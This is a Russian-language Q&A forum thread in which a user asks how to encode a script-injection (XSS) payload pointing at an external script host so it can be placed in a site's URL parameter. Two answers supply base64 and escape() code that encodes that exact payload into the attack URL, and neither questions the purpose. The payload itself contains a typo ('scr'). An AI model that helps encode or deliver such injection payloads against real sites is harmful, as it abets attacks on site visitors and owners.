@NO1nam

Как зашифровать ссылку?

Можно ли зашифровать весь это код ?
"><script scr=http://domain.com/script.js></script>

вместе с "><script scr=

все это буду использовать в на сайте
https://site.com/vasea?id="><script scr=http://domain.com/script.js></script>
  • Вопрос задан
  • 1167 просмотров
Решения вопроса 2
twobomb
@twobomb
function b64EncodeUnicode(str) {
    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
        function toSolidBytes(match, p1) {
            return String.fromCharCode('0x' + p1);
    }));
}
function b64DecodeUnicode(str) {
    return decodeURIComponent(atob(str).split('').map(function(c) {
        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
    }).join(''));
}
console.log(b64EncodeUnicode('"&gt;&lt;script scr=http://domain.com/script.js&gt;&lt;/script&gt;'));//IiZndDsmbHQ7c2NyaXB0IHNjcj1odHRwOi8vZG9tYWluLmNvbS9zY3JpcHQuanMmZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7
console.log(b64DecodeUnicode('IiZndDsmbHQ7c2NyaXB0IHNjcj1odHRwOi8vZG9tYWluLmNvbS9zY3JpcHQuanMmZ3Q7Jmx0Oy9zY3JpcHQmZ3Q7'));//"&gt;&lt;script scr=http://domain.com/script.js&gt;&lt;/script&gt;
Ответ написан
profesor08
@profesor08 Куратор тега JavaScript
const url = `https://site.com/vasea?id=${escape(`"><script scr=http://domain.com/script.js></script>`)}`;
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы
SummerWeb Ярославль
от 120 000 до 180 000 ₽
КРАФТТЕК Санкт-Петербург
от 60 000 до 80 000 ₽
Brightdata Тель-Авив
от 5 500 до 6 500 $
13 июн. 2024, в 05:45
1000 руб./за проект
13 июн. 2024, в 01:40
100000 руб./за проект
13 июн. 2024, в 00:32
20000 руб./за проект